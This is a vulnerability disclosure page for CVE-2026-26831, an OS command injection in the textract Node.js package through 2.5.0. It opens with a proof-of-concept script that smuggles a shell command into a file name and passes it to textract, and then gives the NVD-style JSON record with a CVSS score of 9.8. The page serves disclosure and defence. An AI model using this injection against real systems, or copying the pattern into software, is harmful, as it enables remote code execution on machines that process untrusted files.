CVE-2026-26831

const textract = require('textract'); const path = require('path'); // Payload: Create a file named with a command injection payload // The payload attempts to execute 'touch /tmp/pwned' using a semicolon const maliciousFileName = "test.txt; touch /tmp/pwned; #"; const filePath = "/tmp/" + maliciousFileName; // Simulate the vulnerable extraction process // In a real scenario, the file might exist or the check might pass before exec console.log(`[+] Attempting to extract from: ${filePath}`); // Trigger the vulnerability in textract <= 2.5.0 // This will call child_process.exec() internally with the unsanitized path textract.fromFileWithPath(filePath, function(error, text) { if (error) { console.log("[-] Error returned (may be expected if file missing, but command might have executed):", error.message); } else { console.log("[+] Extraction result:", text); } console.log("[+] Check /tmp/pwned to verify if the command was executed."); });

{"cve": {"id": "CVE-2026-26831", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:21.123", "lastModified": "2026-03-30T13:33:41.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "textract through 2.5.0 is vulnerable to OS Command Injection via the file path parameter in multiple extractors. When processing files with malicious filenames, the filePath is passed directly to child_process.exec() in lib/extractors/doc.js, rtf.js, dxf.js, images.js, and lib/util.js with inadequate sanitization"}, {"lang": "es", "value": "textract hasta la versión 2.5.0 es vulnerable a la Inyección de Comandos del Sistema Operativo a través del parámetro de ruta de archivo en múltiples extractores. Al procesar archivos con nombres de archivo maliciosos, la ruta de archivo (filePath) se pasa directamente a child_process.exec() en lib/extractors/doc.js, rtf.js, dxf.js, images.js y lib/util.js con una sanitización inadecuada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dbashford:textract:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "2.5.0", "matchCriteriaId": "9DD5E682-185B-4FC0-AA02-650FC0C89BA1"}]}]}], "references": [{"url": "https://github.com/dbashford/textract", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/dbashford/textract/blob/master/lib/extractors/doc.js", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/dbashford/textract/blob/master/lib/extractors/rtf.js", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/dbashford/textract/blob/master/lib/util.js", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/zebbernCVE/CVE-2026-26831", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.npmjs.com/package/textract", "source": "[email protected]", "tags": ["Product"]}]}}